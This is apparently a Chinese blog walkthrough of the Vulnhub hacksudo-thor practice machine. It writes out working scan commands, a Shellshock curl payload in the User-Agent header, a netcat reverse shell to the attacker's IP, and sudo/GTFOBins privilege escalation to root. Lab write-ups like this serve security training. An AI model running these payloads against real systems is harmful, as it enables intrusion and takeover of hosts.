Vulnhub--hacksudo(thor)靶场

hacksudo-thor靶场练习---中

  • 0x00部署
  • 0x01信息收集
    • 1.主机发现
    • 2.端口扫描
    • 3.路径爬取
    • 开源源码泄漏
    • 默认帐号密码
    • 业务逻辑漏洞
    • 破壳漏洞
    • GTFOBins提权
  • 0x02 总结

0x00部署

hacksudo-thor靶机:下载地址
宿主机:kali2022
目标:获取root拿到flag文件

0x01信息收集

1.主机发现

$ sudo arp-scan -l
//因为靶机与宿主机在同一网段,所以用二级扫描来发现靶机ip

2.端口扫描

//使用namp命令,-p-指定ip,查看哪些端口开放
$ sudo nmap -p- 靶机ip 
$ sudo nmap -sC -sV -O -p21,80 靶机ip
//-sC常见漏洞脚本扫描
//-sV开放端口服务/版本号
//-O操作系统探测

比较好想到的是,这里只有两个开放端口进行利用,所以流程就是在80端口找一些隐藏路径得到能登录ssh的信息进行提权。

Vulnhub--hacksudo(thor)靶场_第1张图片

3.路径爬取

对80端口进行一下路径爬取,寻找隐藏信息

$ dirsearch -u http://ip  //没什么特别的结果,继续
$ dirsearch -u http://ip -f -e php,txt,html   //指定扩展名
$ dirsearch -u http://ip -w /usr/share/seclists/Discovery/web-content/common.txt
//指定字典进行爆破
$ gobuster dir -r -u http://192.168.56.101/site/ -x txt,html,php -w /usr/share/seclists/Discovery/Web-Content/common.txt

使用dirsearch扫描的结果:
Vulnhub--hacksudo(thor)靶场_第2张图片

gobuster扫描的结果:
Vulnhub--hacksudo(thor)靶场_第3张图片
检查扫描出的目录:

开源源码泄漏

读取README.md的内容,得到一条有用消息:
Vulnhub--hacksudo(thor)靶场_第4张图片

默认帐号密码

即管理员账号名称是admin,密码为password123,访问一下扫描出来的admin_login.php页面–》输入admin,password123–》管理员登录:
Vulnhub--hacksudo(thor)靶场_第5张图片
Vulnhub--hacksudo(thor)靶场_第6张图片
在用户信息页面得到可用信息:
在这里插入图片描述

业务逻辑漏洞

应用程序逻辑漏洞同样带来极大的问题,本靶机存在:
后台管理员用户没有修改;转账支付密码与登录密码都没有区别。
考虑到cgi-bin路径通常存放.cgi、.sh文件–》破壳漏洞

破壳漏洞

壳即为shell,可以向操作系统输入指令,针对bash调用环境变量的过程中,当环境变量中存在可能存在漏洞的指令,而导致漏洞指令被执行达到破壳的效果。
漏洞导致原因在于早期bash对于环境变量并执行其中的函数变量时,对于函数定义指令的过滤存在问题,所以其中包含的系统指令也会被执行。bash解析环境变量当中引用的函数定义、过滤不清晰。

对扫描出的目录进行检查,其中cgi-bin目录是用来存放cgi程序的目录,cgi程序可用在远程访问服务器时,所以以这个为突破口,对cgi-bin目录进行扫描,指定.cgi格式:
![在这里插入图片描述](https://img-blog.csdnimg.cn/0dfcefe7319646d89602a67f3c38dd86.png
发现了500文件,服务器不知道怎么处理没有携带参数的指令也会响应500请求。
利用nmap的漏洞脚本进行检测,破壳漏洞:

sudo nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/shell.sh,cmd=ls 192.168.56.106
#http-shellshock即为破壳漏洞,检测一下

backup.cgi:
Vulnhub--hacksudo(thor)靶场_第7张图片
shell.sh:
Vulnhub--hacksudo(thor)靶场_第8张图片
利用curl请求指令向服务器端

curl -H "user-agent: () { : ;}; echo; echo; /bin/bash -c 'which nc'" \http://192.168.56.106/cgi-bin/shell.sh
# 在user-agent头部使用了函数定义,最终请求执行:which nc命令

在这里插入图片描述
再利用nc进行反弹shell

curl -H "user-agent: () { : ;}; echo; echo; /bin/bash -c 'nc -e /bin/bash 192.168.56.102 4444'" \http://192.168.56.106/cgi-bin/shell.sh

成功打点,当前用户为www-data,用pty升级一下当前shell
Vulnhub--hacksudo(thor)靶场_第9张图片
sudo -l检查一下sudo权限,发现thor用户可以不用密码使用sudo执行/home/thor/./hammer.sh
sudo -u thor /home/thor/./hammer.sh

Vulnhub--hacksudo(thor)靶场_第10张图片
hammer.sh的功能中可以通过输入进行指令的执行,这里尝试调用bash
Vulnhub--hacksudo(thor)靶场_第11张图片
Vulnhub--hacksudo(thor)靶场_第12张图片
Vulnhub--hacksudo(thor)靶场_第13张图片
对于当前用户的sudo权限查看,发现cat和service都可以使用sudo

GTFOBins提权

GTFOBins参考文档

开源的,操作系统中权限配置不当时通过系统程序提升至root权限
根据文档中sudo权限提权:sudo service ../../bin/bash
在这里插入图片描述
得到flag:一个hammer
Vulnhub--hacksudo(thor)靶场_第14张图片

0x02 总结

hacksudo靶机中涉及使用:
利用开源源码泄露以及默认管理员信息、路径爬取获得隐藏页面的登录,发现业务逻辑层面的漏洞。
破壳漏洞的原理重点关注cgi-bin目录,再利用curl向服务器发起nc 命令进行打点
GTFOBins的利用

你可能感兴趣的:(每周靶场训练,网络安全,web安全)